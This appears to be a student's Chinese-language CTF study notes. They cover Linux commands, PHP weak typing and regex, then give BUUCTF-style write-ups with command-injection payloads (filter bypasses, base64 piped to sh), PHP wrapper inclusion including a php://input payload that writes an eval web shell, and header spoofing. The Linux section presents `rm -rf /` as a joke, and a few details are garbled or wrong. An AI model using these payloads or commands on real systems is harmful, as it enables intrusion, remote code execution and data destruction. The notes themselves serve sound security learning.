PHP特性+命令执行

第一部分 Linux基础

目录管理

绝对路径、相对路径

绝对路径路径的全称:(比如D盘的brup)D:\Burp\Burp_Suite\xxx

cd:切换目录命令

cd加目录名(绝对路径都是以/开头,相对路径../../)

./ :当前目录

返回上级目录:cd ..img

ls : 列出目录(在Linux中最常用)

-a参数:all,查看全部的文件,包括隐藏文件

-l参数 : 列出所有的文件,包含文件属性和权限,不含有隐藏文件

所有Linux命令可以组合使用

img

img

mkdir : 创建目录

-p : 创建递归目录(创建多级目录)

pwd : 查看当前目录(显示当前用户所在目录)

rmdir :删除目录(无法删除不为空的文件夹)

如果存在文件需要删除文件,加-p参数

img

cp(复制文件或目录)

cp 原来的地方 新的地方

如果原来存在y代表覆盖n代表不覆盖

rm : 移除文件或目录

-f : 忽略不存在的文件,不会出现警告,强制删除

-r : 递归删除目录

-i : 询问是否删除

rm - rf / 删除系统所有文件(跑路小技巧)

mv : 移动文件 (还可以重命名QAQ)

-f : 强制移动

-u : 只替换已经更新后的文件

基本属性

img

d :代表是个目录

- :文件

l : 代表链接文件(link file)

b : 接口(基本不用QAQ)

c : 设备(基本不用QAQ)

img

chgrp : 更改文件属组

chgrp [-R] 属组名 文件名

chown : 更改文件属主,同时更改文件属组

chgrp [-R] 属主名 文件名

chgrp [-R] 属主名 属组名 文件名

chmod : 改文件九个属性

r : 4 w :2 x : 1(可读可写可执行)

文件内容查看

cat : 由第一行开始显示文件内容

tac : 倒着的cat

nl : 输出行号

more : 一页一页显示

less : 可以翻页的more(上下键翻页)q退出(quit)

head : 看头几行

tail : 只看尾巴几行

img

img

img

查询字符 : /及要查询的字符(会标亮显示)

用问号向上查询 : ?及要查询的字符(会标亮显示)

n代表继续查询下一个

Vim编辑器

vim是vi升级版QAQ

配合插件可以实现和IDE一样的功能

img

三种模式:命令模式、输入模式、底层命令模式

img

i : 切换到输入模式,输入字符

x : 删除当前光标所处在的字符

:切换到底层命令模式,需要先退出编辑模式(esc退出)

img

q : 退出

w : 保存文件

wq : 保存并退出

img

vim 文件名(存在就打开,不存在就创建)

补充

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于 服务器端没有针对执行函 数做过滤,导致在没有指定绝对路径的情况下就执行命令

Linux下的分割符

1 ; 前面的执行完后执行后面的

2 | 管道符,显示后面的执行结果

3 || 当前面的执行出错时执行后面的,

4 & 前面的语句为假则执行后面的,前面的可真可假

5 && 前面的语句为假则直接出错,后面的也不执行,前面的只能为真

第二部分 PHP弱类型

==只比较内容

===比较类型和内容

0x表示16进制

例题复现

img

highlight_file(FILE)将源代码显示在页面上

md5()算法在加密时会将数组加密为null,而两个数组都会被加密为null,所以判断为真

img

请求方法

GET :请求指定的页面信息,并返回实体主体

POST : 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致心得资源的建立和/或已有资源的修改。

HEDA : 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头

PUT : 从客户端向服务器传送的数据取代指定的文档的内容

DELETE : 请求服务器删除指定的页面

正则表达式

限定符

?(问号前的字符可有可无)

*(匹配0个或多个字符)

+(匹配出现一次以上的字符)

{范围如2,6}(指定次数)

如果要匹配多个字符用括号括起来

| : 或者

[] : 匹配由特定构成的单词 如果出现^则匹配除^以外的字符

例如0-9代表所有的非数字字符,但是包含换行符

元字符

\d : 代表数字字符

\w : 代表单词字符(英文、数字以及下滑线)

\s :代表空白符(包含Tab和换行)

\D : 非数字字符

\W : 非单词字符

\S : 非空白字符

. : 代表任意字符

^号匹配行首

$匹配行尾

贪婪与懒惰

<.+>会匹配所有包括<>

<.+?>就不会

第三部分 作业+练习

1、Boogipop的抓包练习题

http://114.116.119.253:8001/cg.php

img

img

收到回复 : post me a hint in Another Page?

上传hint=(随便填)找到题目

Boogipop is Lazy!QWQ! <?php include('flag2.php'); if(isset($POST['hint'])){ echo "Boogipop is Lazy!QWQ!"; highlight_file(FILE); if(is_numeric($POST['hack'])){ die('too young too simple!'); } if($_POST['hack']==intval(0x36d)){ echo $flag; exit(); } die('try harder'); } header('Location: http://114.116.119.253:8001/trick.php'); ?> try harder

is_numeric() 函数用于检测变量是否为数字或数字字符串。

hint=19&hack=1

出现第一层if : too young too simple!

破解第二层if($_POST['hack']==intval(0x36d)

intval() 函数通过使用指定的进制 base 转换(默认是十进制)

0x36d是16进制转化为10进制是877

不过我们需要绕过第一层if

方法一

img

j=1315%20

j=1315%00

img

img

方法二

php中当一个其他数据类型和数值类型的数据比较大小时,会先将其他数据类型转换成数值类型,这里输入类似9999a数据也可绕过

j=9999a

img

img

2、*[极客大挑战 2019]Havefun1***

首先进入靶场

img

用burp抓包

会在返回的信息中获取这些语句

img

根据语句输入?cat=dog就可以得到flag

img

3、*[ACTF2020 新生赛]Exec***

输入127.0.0.1

img

有回显

用管道符连接ls /

img

发现了Linux的目录下有一个flag文件

这样只需要查看flag文件即可

img

这里用到了绝对路径,因为我们实际上是在 /var/www/html

直接出入cat flag是无法找到flag的

4、*[GXYCTF2019]Ping Ping Ping***

进入后首先会看到

/?ip=

所以我们可以判断出来是get上传

于是我们随机输入一个ip

/?ip=1

显示

PING 1 (0.0.0.1): 56 data bytes

说明有回显

于是我们输入

/?ip=1;ls

出现了一下显示

PING 1 (0.0.0.1): 56 data bytes flag.php index.php

于是我们试着连接cat flag.txt

/?ip= fxck your space!

说明ban掉了空格

于是我们运用Linux系统中的空格符$IFS来代替空格,为了防止连接错误我们还要加上$9来帮助计算机判断

?ip=127.0.0.1|cat$IFS$9flag.php

fxck your flag!

说明flag也被ban了

那先看看index.php

img

我们看到他ban掉了许多东西

这里我们有三种解决方法

一、利用

?ip=127.0.0.1;cat$IFS$9ls

将ls的结果当成cat的参数,那样就不用出现flag这个参数了。结果也是在源码中。

二、*命令执行变量拼接***

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php //变量替换

三、过滤bash用sh执行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

最终得到flag

$flag = "flag{14c34fbe-ae6f-476d-b4da-3859ed86a75c}";

5、buuctf [极客大挑战 2019]BuyFlag

首先打开网页会看到有一个关于flag的连接

在发现没有什么有用信息后选择抓个包

看到有一个Cookie: user=0

0代表false1代表true

所以应该试着将0改为1

然后看网页的回复

~post money and password~

if (isset($_POST['password'])) {

$password = $_POST['password'];

if (is_numeric($password)) {

echo "password can't be number</br>";

}elseif ($password == 404) {

echo "Password Right!</br>";

看到是post上传

需要我们上传一个password

这里有一个is_numeric函数它是,用于检测变量是否为数字或数字字符串。

可是我们看到只有我们的password等于404时才会出现password right的字样

所以我们需要绕过is_numeric函数

绕过方法有三个

分别是数组绕过、空数值绕过、转换绕过

这里数组绕过显然不可行,所以我们试着用后面两种方法

我们将user改为1的同时用post上传password=404%00或者=404a

这时我们在回复中就会看到

you are Cuiter</br>Password Right!</br>Pay for the flag!!!hacker!!!</br>

说明我们目前是正确的需要我们购买flag

这时我们需要用money来解锁flag

这时我们试着上传money=100000000试试

结果出现

>Nember lenth is too long

所以我们试着用科学计数法输入

password=1e9

这样我们就得到了flag

flag{446b451f-ebee-4d7e-9cbf-6d5ff016e6ec}

6、buuctf [BJDCTF2020]Easy MD5

首先我们先了解一下md5函数

md5(string,raw)

参数

描述

string

必需。规定要计算的字符串。

raw

可选。规定十六进制或二进制输出格式:· TRUE - 原始 16 字符二进制格式· FALSE - 默认。32 字符十六进制数

进入靶场我们会看到一个输入框

根据提示输入ffifdyop

跳转至第二个页面

查看源代码会看到

用get传参上传a和b

同时要绕过md5

if($a != $b && md5($a) == md5($b)

输入?a[]=1&b[]=2

进入最后一个页面

img

由图中代码可以看出依旧需要绕过md5

只是需要post传参

我们只需要上传

param1[]=1¶m2=2

得到flag

7、*[极客大挑战 2019]Secret File***

这里首先要学习php伪协议读文件

1.file://协议

条件:

allow_url_fopen : off/on

allow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法:

/path/to/file.ext

relative/path/to/file.ext

fileInCwd.ext

C:/path/to/winfile.ext

C:\path\to\winfile.ext

\smbserver\share\path\to\winfile.ext

file:///path/to/file.ext

示例:

1.file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

条件

allow_url_open : off/on

allow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on

作用

php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input

php://filter 用于读取源码

php://input 用于执行php代码

说明

php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符

img

php://filter使用

php://filter/read=convert.base64-encode/resource=[文件名]

这个语句是利用LFI来查看源码

php://input的使用

http://127.0.0.1/include.php?file=php://input

[POST DATA部分]

<?php phpinfo(); ?>

写入一句话木马

http://127.0.0.1/include.php?file=php://input

[POST DATA部分]

<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://协议

作用:

php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

用法:

data://text/plain, ???

如:http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

示例:

1.zip://[压缩文件绝对路径]%23压缩文件内的子文件文件名

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

开始做题

img

首先进入靶场,我们没有找到可以交互的地方,于是我们试着查看网页的源代码

img

我们看到有一个php文件我们点击查看

进入了一个新的页面

img

看到有超级链接,我们继续点击

img

说明有一个跳转极快的页面我们没有看到

于是我们试着用bp抓个包

看到了有一个被注释的文件

img

于是我们试着打开它

接着我们就又进入了新的页面

img

然后就是代码审计环节

这里看到有一个flag.php试着打开它

img

结果依旧没有flag

看来这道题需要运用伪协议

继续回到刚才的页面研究代码

既然是读取源码

我们使用php://filter/read=convert.base64-encode/resource=[文件名]语句

查看flag.php文件

于是我们输入?file=php://filter/read=convert.base64-encode/resource=flag.php

然后就出现了以下这一长串经过base64加密的代码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MTkzYWExN2YtNjk0Yy00NTMzLWIwZTAtMTgwYjk3ODQzYmU5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

我们需要将它解密

img

得到flag

8、*[极客大挑战 2019]Http***

referer:服务器伪造

HTTP协议头部REFERER用法及伪造

1、Refere定义

Referer是HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含Referer 。比如我在www.xxxx.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:Referer=https://www.xxxx.com信息

2、Refere作用

1.防盗链

那么可以利用这个来防止盗链了,比如我只允许我自己的网站访问我自己的图片服务器,那我的域名是www.xxx.com,那么图片服务器每次取到Referer来判断一下是不是我自己的域名www.xxxx.com,如果是就继续访问,不是就拦截。

2.防止恶意请求。

比如我的网站上,静态请求是.html结尾的,动态请求是.shtml,那么由此可以这么用,所有的*.shtml请求,必须 Referer 为我自己的网站。

3.空Referer是怎么回事?什么情况下会出现Referer?

首先,我们对空 Referer 的定义为, Referer 头部的内容为空,或者,一个 HTTP 请求中根本不包含 Referer 头部。

那么什么时候 HTTP 请求会不包含 Referer 字段呢?根据Referer的定义,它的作用是指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源。

比如,直接在浏览器的地址栏中输入一个资源的URL地址,那么这种请求是不会包含 Referer 字段的,因为这是一个“凭空产生”的 HTTP 请求,并不是从一个地方链接过去的。

4.那么在防盗链设置中,允许空Referer和不允许空Referer有什么区别?

允许 Referer 为空,意味着你允许比如浏览器直接访问,就是空。

3、Refere可靠吗?

Refere不可靠,但有部分作用,起码增加了爬图难度和成本,因为在浏览器端你是无法指定(伪造),你只能通过定义meta元素告诉浏览器怎么用

<meta name="referrer" content="never">

content有如下值:

如果 referer-policy 的值为 never:删除 http head 中的 referer;

如果 referer-policy 的值为 default:如果当前页面使用的是 https 协议,而正要加载资源使用的是普通的 http 协议,则将 http header 中额 referer 置为空;

如果 referer-policy 的值 origin:只发送 origin 部分;

如果 referer-policy 的值为 always:不改变 http header 中的 referer 的值;

4、Refere伪造

只能在服务器端指定,Refere参数位置在$_SERVER['HTTP_REFERER']

4.1、CURL方法

function curl_post($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, 'http://www.baidu.com'); $output = curl_exec($ch); curl_close($ch); return $output; }

4.2、file_get_contents方法

$opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: http://www.baidu.com" ) ); $context = stream_context_create($opts); var_dump(file_get_contents('http://www.c.com/api.php', false, $context));

HTTP 请求头中的 X-Forwarded-For(XFF)

在Java代码实践中,有两种方式可以从HTTP请求中获得请求者的IP地址。一个是从Remote Address中获得,另一个是从X-Forward-For中获得,但他们的安全性和使用场景各有不同。一旦用错,就可能为系统造成漏洞。因此,需要开发者对这两个参数深入的理解。

Remote Address代表的是当前HTTP请求的远程地址,即HTTP请求的源地址。HTTP协议在三次握手时使用的就是这个Remote Address地址,在发送响应报文时也是使用这个Remote Address地址。因此,如果请求者伪造Remote Address地址,他将无法收到HTTP的响应报文,此时伪造没有任何意义。这也就使得Remote Address默认具有防篡改的功能。

在一些大型网站中,来自用户的HTTP请求会经过反向代理服务器的转发,此时,服务器收到的Remote Address地址就是反向代理服务器的地址。在这样的情况下,用户的真实IP地址将被丢失,因此有了HTTP扩展头部X-Forward-For。当反向代理服务器转发用户的HTTP请求时,需要将用户的真实IP地址写入到X-Forward-For中,以便后端服务能够使用。由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。

所以,在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。

当然,在使用nginx等反向代理服务器的时候,是必须使用X-Forward-For来获取用户IP地址的(此时Remote Address是nginx的地址),因为此时X-Forward-For中的地址是由nginx写入的,而nginx是可信任的。不过此时要注意,要禁止web对外提供服务。

开始做题

进入靶场后首先会看到

img

发现没有什么其它可以操作的东西后看一下源代码

img

在源代码中我们找到了secret.php

点击后我们进入新的页面

img

它需要我们从https://Sycsecret.buuoj.cn来访问它所以要进行伪造来绕过了所以bp抓包发送给重发器进行伪造那怎么伪造网址访问呢referer:服务器伪造

img

我们增加一条referer:https://www.Sycsecret.com

img

进入新的页面它又要我们使用Syclover browser所以又要伪造浏览器所以这里修改User-Agent

img

img

它有提示你说只需要本地ip链接就行了所以又要伪造ip了X-Forwarded-For:用于修改ip所以只需要改为本地ip即可127.0.0.1

得到flag

img